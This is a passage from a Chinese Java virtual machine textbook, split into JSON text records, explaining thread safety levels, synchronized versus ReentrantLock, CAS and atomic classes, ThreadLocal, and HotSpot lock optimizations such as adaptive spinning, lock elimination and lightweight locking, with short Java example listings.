7中加入的ForkJoinPool）。 Loom项目目前仍然在进行当中，还没有明确的发布日期，上面笔者介绍的内容日后都有被改动的可能。如果读者现在就想尝试协程，那可以在项目中使用Quasar协程库 [1] ，这是一个不依赖Java虚拟机的独立实现的协程库。不依赖虚拟机来实现协程是完全可能的，Kotlin语言的协程就已经证明了这一点。Quasar的实现原理是字节码注入，在字节码层面对当前被调用函数中的所有局部变量进行保存和恢复。这种不依赖Java虚拟机的现场保护虽然能够工作，但很影响性能，对即时编译器的干扰也非常大，而且必须要求用户手动标注每一个函数是否会在协程上下文被调用，这些都是未来Loom项目要解决的问题。 [1] 如同JDK 5把Doug Lea的dl.util.concurrent项目引入，成为java.util.concurrent包，JDK 9时把Attila Szegedi的dynalink项目引入，成为jdk.dynalink模块。Loom项目的领导者Ron Pressler就是Quasar的作者。 12.6 本章小结 本章中，我们了解了虚拟机Java内存模型的结构及操作，并且讲解了原子性、可见性、有序性在Java内存模型中的体现，介绍了先行发生原则的规则及使用。另外，我们还了解了线程在Java语言之中是如何实现的，以及代表Java未来多线程发展的新并发模型的工作原理。 关于“高效并发”这个话题，在本章中主要介绍了虚拟机如何实现“并发”，在下一章中，我们的主要关注点将是虚拟机如何实现“高效”，以及虚拟机对我们编写的并发代码提供了什么样的优化手段。 第13章 线程安全与锁优化 并发处理的广泛应用是Amdahl定律代替摩尔定律成为计算机性能发展源动力的根本原因，也是人类压榨计算机运算能力的最有力武器。 13.1 概述 在软件业发展的初期，程序编写都是以算法为核心的，程序员会把数据和过程分别作为独立的部分来考虑，数据代表问题空间中的客体，程序代码则用于处理这些数据，这种思维方式直接站在计算机的角度去抽象问题和解决问题，被称为面向过程的编程思想。与此相对，面向对象的编程思想则站在现实世界的角度去抽象和解决问题，它把数据和行为都看作对象的一部分，这样可以让程序员能以符合现实世界的思维方式来编写和组织程序。 面向对象的编程思想极大地提升了现代软件开发的效率和软件可以达到的规模，但是现实世界与计算机世界之间不可避免地存在一些差异。例如，人们很难想象现实中的对象在一项工作进行期间，会被不停地中断和切换，对象的属性（数据）可能会在中断期间被修改和变脏，而这些事件在计算机世界中是再普通不过的事情。有时候，良好的设计原则不得不向现实做出一些妥协，我们必须保证程序在计算机中正确无误地运行，然后再考虑如何将代码组织得更好，让程序运行得更快。对于本章的主题“高效并发”来说，首先需要保证并发的正确性，然后在此基础上来实现高效。本章就先从如何保证并发的正确性及如何实现线程安全说起。"},
    {"text": "13.2 线程安全 “线程安全”这个名称，相信稍有经验的程序员都听说过，甚至在代码编写和走查的时候可能还会经常挂在嘴边，但是如何找到一个不太拗口的概念来定义线程安全却不是一件容易的事情。笔者尝试在网上搜索它的概念，找到的是类似于“如果一个对象可以安全地被多个线程同时使用，那它就是线程安全的”这样的定义——并不能说它不正确，但是它没有丝毫可操作性，无法从中获取到任何有用的信息。 笔者认为《Java并发编程实战（Java Concurrency In Practice）》的作者Brian Goetz为“线程安全”做出了一个比较恰当的定义：“当多个线程同时访问一个对象时，如果不用考虑这些线程在运行时环境下的调度和交替执行，也不需要进行额外的同步，或者在调用方进行任何其他的协调操作，调用这个对象的行为都可以获得正确的结果，那就称这个对象是线程安全的。” 这个定义就很严谨而且有可操作性，它要求线程安全的代码都必须具备一个共同特征：代码本身封装了所有必要的正确性保障手段（如互斥同步等），令调用者无须关心多线程下的调用问题，更无须自己实现任何措施来保证多线程环境下的正确调用。这点听起来简单，但其实并不容易做到，在许多场景中，我们都会将这个定义弱化一些。如果把“调用这个对象的行为”限定为“单次调用”，这个定义的其他描述能够成立的话，那么就已经可以称它是线程安全了。为什么要弱化这个定义？现在先暂且放下这个问题，稍后再详细探讨。"},
    {"text": "因为如果根本不存在多线程，又或者一段代码根本不会与其他线程共享数据，那么从线程安全的角度上看，程序是串行执行还是多线程执行对它来说是没有什么区别的。 为了更深入地理解线程安全，在这里我们可以不把线程安全当作一个非真即假的二元排他选项来看待，而是按照线程安全的“安全程度”由强至弱来排序，我们 [1] 可以将Java语言中各种操作共享的数据分为以下五类：不可变、绝对线程安全、相对线程安全、线程兼容和线程对立。 1.不可变 在Java语言里面（特指JDK 5以后，即Java内存模型被修正之后的Java语言），不可变（Immutable）的对象一定是线程安全的，无论是对象的方法实现还是方法的调用者，都不需要再进行任何线程安全保障措施。"},
    {"text": "在第10章里我们讲解“final关键字带来的可见性”时曾经提到过这一点：只要一个不可变的对象被正确地构建出来（即没有发生this引用逃逸的情况），那其外部的可见状态永远都不会改变，永远都不会看到它在多个线程之中处于不一致的状态。"},
    {"text": "如果读者没想明白这句话所指的意思，不妨类比java.lang.String类的对象实例，它是一个典型的不可变对象，用户调用它的substring()、replace()和concat()这些方法都不会影响它原来的值，只会返回一个新构造的字符串对象。"},
    {"text": "保证对象行为不影响自己状态的途径有很多种，最简单的一种就是把对象里面带有状态的变量都声明为final，这样在构造函数结束之后，它就是不可变的，例如代码清单13-1中所示的java.lang.Integer构造函数，它通过将内部状态变量value定义为final来保障状态不变。 代码清单13-1 JDK中Integer类的构造函数 /** * The value of the <code>Integer</code>. * @serial */ private final int value; /** * Constructs a newly allocated <code>Integer</code> object that * represents the specified <code>int</code> value. * * @param value the value to be represented by the * <code>Integer</code> object. */ public Integer(int value) { this.value = value; } 在Java类库API中符合不可变要求的类型，除了上面提到的String之外，常用的还有枚举类型及java.lang.Number的部分子类，如Long和Double等数值包装类型、BigInteger和BigDecimal等大数据类型。"},
    {"text": "2.绝对线程安全 绝对的线程安全能够完全满足Brian Goetz给出的线程安全的定义，这个定义其实是很严格的，一个类要达到“不管运行时环境如何，调用者都不需要任何额外的同步措施”可能需要付出非常高昂的，甚至不切实际的代价。"},
    {"text": "在Java API中标注自己是线程安全的类，大多数都不是绝对的线程安全。 我们可以通过Java API中一个不是“绝对线程安全”的“线程安全类型”来看看这个语境里的“绝对”究竟是什么意思。"},
    {"text": "如果说java.util.Vector是一个线程安全的容器，相信所有的Java程序员对此都不会有异议，因为它的add()、get()和size()等方法都是被synchronized修饰的，尽管这样效率不高，但保证了具备原子性、可见性和有序性。"},
    {"text": "不过，即使它所有的方法都被修饰成synchronized，也不意味着调用它的时候就永远都不再需要同步手段了，请看看代码清单13-2中的测试代码。"},
    {"text": "代码清单13-2 对Vector线程安全的测试 private static Vector<Integer> vector = new Vector<Integer>(); public static void main(String[] args) { while (true) { for (int i = 0; i < 10; i++) { vector.add(i); } Thread removeThread = new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < vector.size(); i++) { vector.remove(i); } } }); Thread printThread = new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < vector.size(); i++) { System.out.println((vector.get(i))); } } }); removeThread.start(); printThread.start(); //不要同时产生过多的线程，否则会导致操作系统假死 while (Thread.activeCount() > 20); } } 运行结果如下： Exception in thread \"Thread-132\" java.lang.ArrayIndexOutOfBoundsException: Array index out of range: 17 at java.util.Vector.remove(Vector.java:777) at org.fenixsoft.mulithread.VectorTest$1.run(VectorTest.java:21) at java.lang.Thread.run(Thread.java:662) 很明显，尽管这里使用到的Vector的get()、remove()和size()方法都是同步的，但是在多线程的环境中，如果不在方法调用端做额外的同步措施，使用这段代码仍然是不安全的。"},
    {"text": "因为如果另一个线程恰好在错误的时间里删除了一个元素，导致序号i已经不再可用，再用i访问数组就会抛出一个ArrayIndexOutOfBoundsException异常。"},
    {"text": "代码清单13-3 必须加入同步保证Vector访问的线程安全性 Thread removeThread = new Thread(new Runnable() { @Override public void run() { synchronized (vector) { for (int i = 0; i < vector.size(); i++) { vector.remove(i); } } } }); Thread printThread = new Thread(new Runnable() { @Override public void run() { synchronized (vector) { for (int i = 0; i < vector.size(); i++) { System.out.println((vector.get(i))); } } } }); 假如Vector一定要做到绝对的线程安全，那就必须在它内部维护一组一致性的快照访问才行，每次对其中元素进行改动都要产生新的快照，这样要付出的时间和空间成本都是非常大的。 3.相对线程安全 相对线程安全就是我们通常意义上所讲的线程安全，它需要保证对这个对象单次的操作是线程安全的，我们在调用的时候不需要进行额外的保障措施，但是对于一些特定顺序的连续调用，就可能需要在调用端使用额外的同步手段来保证调用的正确性。"},
    {"text": "4.线程兼容 线程兼容是指对象本身并不是线程安全的，但是可以通过在调用端正确地使用同步手段来保证对象在并发环境中可以安全地使用。 我们平常说一个类不是线程安全的，通常就是指这种情况。"},
    {"text": "5.线程对立 线程对立是指不管调用端是否采取了同步措施，都无法在多线程环境中并发使用代码。 由于Java语言天生就支持多线程的特性，线程对立这种排斥多线程的代码是很少出现的，而且通常都是有害的，应当尽量避免。 一个线程对立的例子是Thread类的suspend()和resume()方法。 如果有两个线程同时持有一个线程对象，一个尝试去中断线程，一个尝试去恢复线程，在并发进行的情况下，无论调用时是否进行了同步，目标线程都存在死锁风险——假如suspend()中断的线程就是即将要执行resume()的那个线程，那就肯定要产生死锁了。"},
    {"text": "[1] 这种划分方法也是Brian Goetz发表在IBM developWorkers上的一篇论文中提出的，这里写“我们”纯粹是笔者下笔行文中的语言用法，并非由笔者首创。"},
    {"text": "确实，如何实现线程安全与代码编写有很大的关系，但虚拟机提供的同步和锁机制也起到了至关重要的作用。 在本节中，如何编写代码实现线程安全，以及虚拟机如何实现同步与锁这两方面都会涉及，相对而言更偏重后者一些，只要读者明白了Java虚拟机线程安全措施的原理与运作过程，自己再去思考代码如何编写就不是一件困难的事情了。"},
    {"text": "在Java里面，最基本的互斥同步手段就是synchronized关键字，这是一种块结构（Block Structured）的同步语法。 synchronized关键字经过Javac编译之后，会在同步块的前后分别形成monitorenter和monitorexit这两个字节码指令。"},
    {"text": "如果Java源码中的synchronized明确指定了对象参数，那就以这个对象的引用作为reference； 如果没有明确指定，那将根据synchronized修饰的方法类型（如实例方法或类方法），来决定是取代码所在的对象实例还是取类型对应的Class对象来作为线程要持有的锁。"},
    {"text": "根据《Java虚拟机规范》的要求，在执行monitorenter指令时，首先要去尝试获取对象的锁。 如果这个对象没被锁定，或者当前线程已经持有了那个对象的锁，就把锁的计数器的值增加一，而在执行monitorexit指令时会将锁计数器的值减一。"},
    {"text": "从功能上看，根据以上《Java虚拟机规范》对monitorenter和monitorexit的行为描述，我们可以得出两个关于synchronized的直接推论，这是使用它时需特别注意的： ·被synchronized修饰的同步块对同一条线程来说是可重入的。"},
    {"text": "在第10章中我们知道了在主流Java虚拟机实现中，Java的线程是映射到操作系统的原生内核线程之上的，如果要阻塞或唤醒一条线程，则需要操作系统来帮忙完成，这就不可避免地陷入用户态到核心态的转换中，进行这种状态转换需要耗费很多的处理器时间。"},
    {"text": "尤其是对于代码特别简单的同步块（譬如被synchronized修饰的getter()或setter()方法），状态转换消耗的时间甚至会比用户代码本身执行的时间还要长。"},
    {"text": "从上面的介绍中我们可以看到synchronized的局限性，除了synchronized关键字以外，自JDK 5起（实现了JSR 166 [1] ），Java类库中新提供了java.util.concurrent包（下文称J.U.C包），其中的java.util.concurrent.locks.Lock接口便成了Java的另一种全新的互斥同步手段。 基于Lock接口，用户能够以非块结构（Non-Block Structured）来实现互斥同步，从而摆脱了语言特性的束缚，改为在类库层面去实现同步，这也为日后扩展出不同调度算法、不同特征、不同性能、不同语义的各种锁提供了广阔的空间。"},
    {"text": "重入锁（ReentrantLock）是Lock接口最常见的一种实现 [2] ，顾名思义，它与synchronized一样是可重入 [3] 的。 在基本用法上，ReentrantLock也与synchronized很相似，只是代码写法上稍有区别而已。 不过，ReentrantLock与synchronized相比增加了一些高级功能，主要有以下三项：等待可中断、可实现公平锁及锁可以绑定多个条件。"},
    {"text": "在synchronized中，锁对象的wait()跟它的notify()或者notifyAll()方法配合可以实现一个隐含的条件，如果要和多于一个的条件关联的时候，就不得不额外添加一个锁；"},
    {"text": "synchronized对性能的影响，尤其在JDK 5之前是很显著的，为此在JDK 6中还专门进行过针对性的优化。 以synchronized和ReentrantLock的性能对比为例，Brian Goetz对这两种锁在JDK 5、单核处理器及双Xeon处理器环境下做了一组吞吐量对比的实验 [4] ，实验结果如图13-1和图13-2所示。 图13-1 JDK 5、单核处理器下两种锁的吞吐量对比 图13-2 JDK 5、双Xeon处理器下两种锁的吞吐量对比 从图13-1和图13-2中可以看出，多线程环境下synchronized的吞吐量下降得非常严重，而ReentrantLock则能基本保持在同一个相对稳定的水平上。 但与其说ReentrantLock性能好，倒不如说当时的synchronized有非常大的优化余地，后续的技术发展也证明了这一点。 当JDK 6中加入了大量针对synchronized锁的优化措施（下一节我们就会讲解这些优化措施）之后，相同的测试中就发现synchronized与ReentrantLock的性能基本上能够持平。 相信现在阅读本书的读者所开发的程序应该都是使用JDK 6或以上版本来部署的，所以性能已经不再是选择synchronized或者ReentrantLock的决定因素。 根据上面的讨论，ReentrantLock在功能上是synchronized的超集，在性能上又至少不会弱于synchronized，那synchronized修饰符是否应该被直接抛弃，不再使用了呢？ 当然不是，基于以下理由，笔者仍然推荐在synchronized与ReentrantLock都可满足需要时优先使用synchronized： ·synchronized是在Java语法层面的同步，足够清晰，也足够简单。"},
    {"text": "从长远来看，Java虚拟机更容易针对synchronized来进行优化，因为Java虚拟机可以在线程和对象的元数据中记录synchronized中锁的相关信息，而使用J.U.C中的Lock的话，Java虚拟机是很难得知具体哪些锁对象是由特定线程锁持有的。"},
    {"text": "2.非阻塞同步 互斥同步面临的主要问题是进行线程阻塞和唤醒所带来的性能开销，因此这种同步也被称为阻塞同步（Blocking Synchronization）。 从解决问题的方式上看，互斥同步属于一种悲观的并发策略，其总是认为只要不去做正确的同步措施（例如加锁），那就肯定会出现问题，无论共享的数据是否真的会出现竞争，它都会进行加锁（这里讨论的是概念模型，实际上虚拟机会优化掉很大一部分不必要的加锁），这将会导致用户态到核心态转换、维护锁计数器和检查是否有被阻塞的线程需要被唤醒等开销。"},
    {"text": "随着硬件指令集的发展，我们已经有了另外一个选择：基于冲突检测的乐观并发策略，通俗地说就是不管风险，先进行操作，如果没有其他线程争用共享数据，那操作就直接成功了；"},
    {"text": "这种乐观并发策略的实现不再需要把线程阻塞挂起，因此这种同步操作被称为非阻塞同步（Non-Blocking Synchronization），使用这种措施的代码也常被称为无锁（Lock-Free）编程。"},
    {"text": "如果这里再使用互斥同步来保证就完全失去意义了，所以我们只能靠硬件来实现这件事情，硬件保证某些从语义上看起来需要多次操作的行为可以只通过一条处理器指令就能完成，这类指令常用的有： ·测试并设置（Test-and-Set）；"},
    {"text": "其中，前面的三条是20世纪就已经存在于大多数指令集之中的处理器指令，后面的两条是现代处理器新增的，而且这两条指令的目的和功能也是类似的。"},
    {"text": "在IA64、x86指令集中有用cmpxchg指令完成的CAS功能，在SPARC-TSO中也有用casa指令实现的，而在ARM和PowerPC架构下，则需要使用一对ldrex/strex指令来完成LL/SC的功能。"},
    {"text": "因为Java里最终暴露出来的是CAS操作，所以我们以CAS指令为例进行讲解。 CAS指令需要有三个操作数，分别是内存位置（在Java中可以简单地理解为变量的内存地址，用V表示）、旧的预期值（用A表示）和准备设置的新值（用B表示）。"},
    {"text": "在JDK 5之后，Java类库中才开始使用CAS操作，该操作由sun.misc.Unsafe类里面的compareAndSwapInt()和compareAndSwapLong()等几个方法包装提供。"},
    {"text": "HotSpot虚拟机在内部对这些方法做了特殊处理，即时编译出来的结果就是一条平台相关的处理器CAS指令，没有方法调用的过程，或者可以认为是无条件内联进去了 [5] 。"},
    {"text": "不过由于Unsafe类在设计上就不是提供给用户程序调用的类（Unsafe::getUnsafe()的代码中限制了只有启动类加载器（Bootstrap ClassLoader）加载的Class才能访问它），因此在JDK 9之前只有Java类库可以使用CAS，譬如J.U.C包里面的整数原子类，其中的compareAndSet()和getAndIncrement()等方法都使用了Unsafe类的CAS操作来实现。 而如果用户程序也有使用CAS操作的需求，那要么就采用反射手段突破Unsafe的访问限制，要么就只能通过Java类库API来间接使用它。"},
    {"text": "之前我们的解决方案是把race++操作或increase()方法用同步块包裹起来，这毫无疑问是一个解决方案，但是如果改成代码清单13-4所示的写法，效率将会提高许多。"},
    {"text": "代码清单13-4 Atomic的原子自增运算 /** * Atomic变量自增运算测试 * * @author zzm */ public class AtomicTest { public static AtomicInteger race = new AtomicInteger(0); public static void increase() { race.incrementAndGet(); } private static final int THREADS_COUNT = 20; public static void main(String[] args) throws Exception { Thread[] threads = new Thread[THREADS_COUNT]; for (int i = 0; i < THREADS_COUNT; i++) { threads[i] = new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < 10000; i++) { increase(); } } }); threads[i].start(); } while (Thread.activeCount() > 1) Thread.yield(); System.out.println(race); } } 运行结果如下： 200000 使用AtomicInteger代替int后，程序输出了正确的结果，这一切都要归功于incrementAndGet()方法的原子性。"},
    {"text": "代码清单13-5 incrementAndGet()方法的JDK源码 /** * Atomically increment by one the current value. * @return the updated value */ public final int incrementAndGet() { for (;;) { int current = get(); int next = current + 1; if (compareAndSet(current, next)) return next; } } incrementAndGet()方法在一个无限循环中，不断尝试将一个比当前值大一的新值赋值给自己。"},
    {"text": "尽管CAS看起来很美好，既简单又高效，但显然这种操作无法涵盖互斥同步的所有使用场景，并且CAS从语义上来说并不是真正完美的，它存在一个逻辑漏洞：如果一个变量V初次读取的时候是A值，并且在准备赋值的时候检查到它仍然为A值，那就能说明它的值没有被其他线程改变过了吗？"},
    {"text": "不过目前来说这个类处于相当鸡肋的位置，大部分情况下ABA问题不会影响程序并发的正确性，如果需要解决ABA问题，改用传统的互斥同步可能会比原子类更为高效。"},
    {"text": "3.无同步方案 要保证线程安全，也并非一定要进行阻塞或非阻塞同步，同步与线程安全两者没有必然的联系。 同步只是保障存在共享数据争用时正确性的手段，如果能让一个方法本来就不涉及共享数据，那它自然就不需要任何同步措施去保证其正确性，因此会有一些代码天生就是线程安全的，笔者简单介绍其中的两类。"},
    {"text": "可重入代码（Reentrant Code）：这种代码又称纯代码（Pure Code），是指可以在代码执行的任何时刻中断它，转而去执行另外一段代码（包括递归调用它本身），而在控制权返回后，原来的程序不会出现任何错误，也不会对结果有所影响。 在特指多线程的上下文语境里（不涉及信号量等因素 [6] ），我们可以认为可重入代码是线程安全代码的一个真子集，这意味着相对线程安全来说，可重入性是更为基础的特性，它可以保证代码线程安全，即所有可重入的代码都是线程安全的，但并非所有的线程安全的代码都是可重入的。 可重入代码有一些共同的特征，例如，不依赖全局变量、存储在堆上的数据和公用的系统资源，用到的状态量都由参数中传入，不调用非可重入的方法等。 我们可以通过一个比较简单的原则来判断代码是否具备可重入性：如果一个方法的返回结果是可以预测的，只要输入了相同的数据，就都能返回相同的结果，那它就满足可重入性的要求，当然也就是线程安全的。"},
    {"text": "线程本地存储（Thread Local Storage）：如果一段代码中所需要的数据必须与其他代码共享，那就看看这些共享数据的代码是否能保证在同一个线程中执行。"},
    {"text": "符合这种特点的应用并不少见，大部分使用消费队列的架构模式（如“生产者-消费者”模式）都会将产品的消费过程限制在一个线程中消费完，其中最重要的一种应用实例就是经典Web交互模型中的“一个请求对应一个服务器线程”（Thread-per-Request）的处理方式，这种处理方式的广泛应用使得很多Web服务端应用都可以使用线程本地存储来解决线程安全问题。"},
    {"text": "如果一个变量只要被某个线程独享，Java中就没有类似C++中__declspec(thread) [7] 这样的关键字去修饰，不过我们还是可以通过java.lang.ThreadLocal类来实现线程本地存储的功能。 每一个线程的Thread对象中都有一个ThreadLocalMap对象，这个对象存储了一组以ThreadLocal.threadLocalHashCode为键，以本地线程变量为值的K-V值对，ThreadLocal对象就是当前线程的ThreadLocalMap的访问入口，每一个ThreadLocal对象都包含了一个独一无二的threadLocalHashCode值，使用这个值就可以在线程K-V值对中找回对应的本地线程变量。"},
    {"text": "[2] 还有另外一种常见的实现——重入读写锁（ReentrantReadWriteLock，尽管名字看起来很像，但它并不是ReentrantLock的子类），由于本书的主题是Java虚拟机和不是Java并发编程，因此仅以ReentrantLock为例来进行讲解，ReentrantReadWriteLock就不再介绍了。"},
    {"text": "[3] 可重入性是指一条线程能够反复进入被它自己持有锁的同步块的特性，即锁关联的计数器，如果持有锁的线程再次获得它，则将计数器的值加一，每次释放锁时计数器的值减一，当计数器的值为零时，才能真正释放锁。"},
    {"text": "[4] 本例中的数据及图片来源于Brian Goetz为IBM developerWorks撰写的文章：《Java theory and practice：More flexible，scalable locking in JDK 5.0》，原文地址是：http://www.ibm.com/developerworks/java/library/j-jtp10264/?S_TACT=105AGX52&S_CMP=cn-a-j。"},
    {"text": "[5] 这种被虚拟机特殊处理的方法称为固有函数（Intrinsics）优化，类似的固有函数还有Math类的一系列算数计算函数、Object的构造函数等，目前已有数百个，具体的清单（以JDK 9为例）可以见：https://gist.github.com/apangin/8bc69f06879a86163e490a61931b37e8。"},
    {"text": "另外，在维基百科上对可重入代码的判定中列举过“Reentrant but not thread-safe”的例子，但该例子中的可重入代码与目前我们通常所说的可重入代码（不依赖全局资源）有差异，笔者并未采用维基百科上的结论，而是在脚注中做出提示。"},
    {"text": "13.3 锁优化 高效并发是从JDK 5升级到JDK 6后一项重要的改进项，HotSpot虚拟机开发团队在这个版本上花费了大量的资源去实现各种锁优化技术，如适应性自旋（Adaptive Spinning）、锁消除（Lock Elimination）、锁膨胀（Lock Coarsening）、轻量级锁（Lightweight Locking）、偏向锁（Biased Locking）等，这些技术都是为了在线程之间更高效地共享数据及解决竞争问题，从而提高程序的执行效率。 13.3.1 自旋锁与自适应自旋 前面我们讨论互斥同步的时候，提到了互斥同步对性能最大的影响是阻塞的实现，挂起线程和恢复线程的操作都需要转入内核态中完成，这些操作给Java虚拟机的并发性能带来了很大的压力。同时，虚拟机的开发团队也注意到在许多应用上，共享数据的锁定状态只会持续很短的一段时间，为了这段时间去挂起和恢复线程并不值得。现在绝大多数的个人电脑和服务器都是多路（核）处理器系统，如果物理机器有一个以上的处理器或者处理器核心，能让两个或以上的线程同时并行执行，我们就可以让后面请求锁的那个线程“稍等一会”，但不放弃处理器的执行时间，看看持有锁的线程是否很快就会释放锁。为了让线程等待，我们只须让线程执行一个忙循环（自旋），这项技术就是所谓的自旋锁。 自旋锁在JDK 1.4.2中就已经引入，只不过默认是关闭的，可以使用-XX：+UseSpinning参数来开启，在JDK 6中就已经改为默认开启了。自旋等待不能代替阻塞，且先不说对处理器数量的要求，自旋等待本身虽然避免了线程切换的开销，但它是要占用处理器时间的，所以如果锁被占用的时间很短，自旋等待的效果就会非常好，反之如果锁被占用的时间很长，那么自旋的线程只会白白消耗处理器资源，而不会做任何有价值的工作，这就会带来性能的浪费。因此自旋等待的时间必须有一定的限度，如果自旋超过了限定的次数仍然没有成功获得锁，就应当使用传统的方式去挂起线程。自旋次数的默认值是十次，用户也可以使用参数-XX：PreBlockSpin来自行更改。 不过无论是默认值还是用户指定的自旋次数，对整个Java虚拟机中所有的锁来说都是相同的。在JDK 6中对自旋锁的优化，引入了自适应的自旋。自适应意味着自旋的时间不再是固定的了，而是由前一次在同一个锁上的自旋时间及锁的拥有者的状态来决定的。如果在同一个锁对象上，自旋等待刚刚成功获得过锁，并且持有锁的线程正在运行中，那么虚拟机就会认为这次自旋也很有可能再次成功，进而允许自旋等待持续相对更长的时间，比如持续100次忙循环。另一方面，如果对于某个锁，自旋很少成功获得过锁，那在以后要获取这个锁时将有可能直接省略掉自旋过程，以避免浪费处理器资源。有了自适应自旋，随着程序运行时间的增长及性能监控信息的不断完善，虚拟机对程序锁的状况预测就会越来越精准，虚拟机就会变得越来越“聪明”了。"},
    {"text": "13.3.2 锁消除 锁消除是指虚拟机即时编译器在运行时，对一些代码要求同步，但是对被检测到不可能存在共享数据竞争的锁进行消除。锁消除的主要判定依据来源于逃逸分析的数据支持（第11章已经讲解过逃逸分析技术），如果判断到一段代码中，在堆上的所有数据都不会逃逸出去被其他线程访问到，那就可以把它们当作栈上数据对待，认为它们是线程私有的，同步加锁自然就无须再进行。 也许读者会有疑问，变量是否逃逸，对于虚拟机来说是需要使用复杂的过程间分析才能确定的，但是程序员自己应该是很清楚的，怎么会在明知道不存在数据争用的情况下还要求同步呢？这个问题的答案是：有许多同步措施并不是程序员自己加入的，同步的代码在Java程序中出现的频繁程度也许超过了大部分读者的想象。我们来看看如代码清单13-6所示的例子，这段非常简单的代码仅仅是输出三个字符串相加的结果，无论是源代码字面上，还是程序语义上都没有进行同步。 代码清单13-6 一段看起来没有同步的代码 public String concatString(String s1, String s2, String s3) { return s1 + s2 + s3; } 我们也知道，由于String是一个不可变的类，对字符串的连接操作总是通过生成新的String对象来进行的，因此Javac编译器会对String连接做自动优化。在JDK 5之前，字符串加法会转化为StringBuffer对象的连续append()操作，在JDK 5及以后的版本中，会转化为StringBuilder对象的连续append()操作。即代码清单13-6所示的代码可能会变成代码清单13-7所示的样子 [1] 。 代码清单13-7 Javac转化后的字符串连接操作 public String concatString(String s1, String s2, String s3) { StringBuffer sb = new StringBuffer(); sb.append(s1); sb.append(s2); sb.append(s3); return sb.toString(); } 现在大家还认为这段代码没有涉及同步吗？每个StringBuffer.append()方法中都有一个同步块，锁就是sb对象。虚拟机观察变量sb，经过逃逸分析后会发现它的动态作用域被限制在concatString()方法内部。也就是sb的所有引用都永远不会逃逸到concatString()方法之外，其他线程无法访问到它，所以这里虽然有锁，但是可以被安全地消除掉。在解释执行时这里仍然会加锁，但在经过服务端编译器的即时编译之后，这段代码就会忽略所有的同步措施而直接执行。 [1] 客观地说，既然谈到锁消除与逃逸分析，那虚拟机就不可能是JDK 5之前的版本，所以实际上会转化为非线程安全的StringBuilder来完成字符串拼接，并不会加锁。但是这也不影响笔者用这个例子证明Java对象中同步的普遍性。 13.3.3 锁粗化 原则上，我们在编写代码的时候，总是推荐将同步块的作用范围限制得尽量小——只在共享数据的实际作用域中才进行同步，这样是为了使得需要同步的操作数量尽可能变少，即使存在锁竞争，等待锁的线程也能尽可能快地拿到锁。 大多数情况下，上面的原则都是正确的，但是如果一系列的连续操作都对同一个对象反复加锁和解锁，甚至加锁操作是出现在循环体之中的，那即使没有线程竞争，频繁地进行互斥同步操作也会导致不必要的性能损耗。 代码清单13-7所示连续的append()方法就属于这类情况。如果虚拟机探测到有这样一串零碎的操作都对同一个对象加锁，将会把加锁同步的范围扩展（粗化）到整个操作序列的外部，以代码清单13-7为例，就是扩展到第一个append()操作之前直至最后一个append()操作之后，这样只需要加锁一次就可以了。"},
    {"text": "13.3.4 轻量级锁 轻量级锁是JDK 6时加入的新型锁机制，它名字中的“轻量级”是相对于使用操作系统互斥量来实现的传统锁而言的，因此传统的锁机制就被称为“重量级”锁。不过，需要强调一点，轻量级锁并不是用来代替重量级锁的，它设计的初衷是在没有多线程竞争的前提下，减少传统的重量级锁使用操作系统互斥量产生的性能消耗。 要理解轻量级锁，以及后面会讲到的偏向锁的原理和运作过程，必须要对HotSpot虚拟机对象的内存布局（尤其是对象头部分）有所了解。HotSpot虚拟机的对象头（Object Header）分为两部分，第一部分用于存储对象自身的运行时数据，如哈希码（HashCode）、GC分代年龄（Generational GC Age）等。这部分数据的长度在32位和64位的Java虚拟机中分别会占用32个或64个比特，官方称它为“Mark Word”。这部分是实现轻量级锁和偏向锁的关键。另外一部分用于存储指向方法区对象类型数据的指针，如果是数组对象，还会有一个额外的部分用于存储数组长度。这些对象内存布局的详细内容，我们已经在第2章中学习过，在此不再赘述，只针对锁的角度做进一步细化。 由于对象头信息是与对象自身定义的数据无关的额外存储成本，考虑到Java虚拟机的空间使用效率，Mark Word被设计成一个非固定的动态数据结构，以便在极小的空间内存储尽量多的信息。它会根据对象的状态复用自己的存储空间。例如在32位的HotSpot虚拟机中，对象未被锁定的状态下，Mark Word的32个比特空间里的25个比特将用于存储对象哈希码，4个比特用于存储对象分代年龄，2个比特用于存储锁标志位，还有1个比特固定为0（这表示未进入偏向模式）。对象除了未被锁定的正常状态外，还有轻量级锁定、重量级锁定、GC标记、可偏向等几种不同状态，这些状态下对象头的存储内容如表13-1所示。 表13-1 HotSpot虚拟机对象头Mark Word 我们简单回顾了对象的内存布局后，接下来就可以介绍轻量级锁的工作过程了：在代码即将进入同步块的时候，如果此同步对象没有被锁定（锁标志位为“01”状态），虚拟机首先将在当前线程的栈帧中建立一个名为锁记录（Lock Record）的空间，用于存储锁对象目前的Mark Word的拷贝（官方为这份拷贝加了一个Displaced前缀，即Displaced Mark Word），这时候线程堆栈与对象头的状态如图13-3所示。 图13-3 轻量级锁CAS操作之前堆栈与对象的状态 [1] 然后，虚拟机将使用CAS操作尝试把对象的Mark Word更新为指向Lock Record的指针。如果这个更新动作成功了，即代表该线程拥有了这个对象的锁，并且对象Mark Word的锁标志位（Mark Word的最后两个比特）将转变为“00”，表示此对象处于轻量级锁定状态。这时候线程堆栈与对象头的状态如图13-4所示。 如果这个更新操作失败了，那就意味着至少存在一条线程与当前线程竞争获取该对象的锁。虚拟机首先会检查对象的Mark Word是否指向当前线程的栈帧，如果是，说明当前线程已经拥有了这个对象的锁，那直接进入同步块继续执行就可以了，否则就说明这个锁对象已经被其他线程抢占了。如果出现两条以上的线程争用同一个锁的情况，那轻量级锁就不再有效，必须要膨胀为重量级锁，锁标志的状态值变为“10”，此时Mark Word中存储的就是指向重量级锁（互斥量）的指针，后面等待锁的线程也必须进入阻塞状态。 图13-4 轻量级锁CAS操作之后堆栈与对象的状态 上面描述的是轻量级锁的加锁过程，它的解锁过程也同样是通过CAS操作来进行的，如果对象的Mark Word仍然指向线程的锁记录，那就用CAS操作把对象当前的Mark Word和线程中复制的Displaced Mark Word替换回来。假如能够成功替换，那整个同步过程就顺利完成了；如果替换失败，则说明有其他线程尝试过获取该锁，就要在释放锁的同时，唤醒被挂起的线程。 轻量级锁能提升程序同步性能的依据是“对于绝大部分的锁，在整个同步周期内都是不存在竞争的”这一经验法则。如果没有竞争，轻量级锁便通过CAS操作成功避免了使用互斥量的开销；但如果确实存在锁竞争，除了互斥量的本身开销外，还额外发生了CAS操作的开销。因此在有竞争的情况下，轻量级锁反而会比传统的重量级锁更慢。 [1] 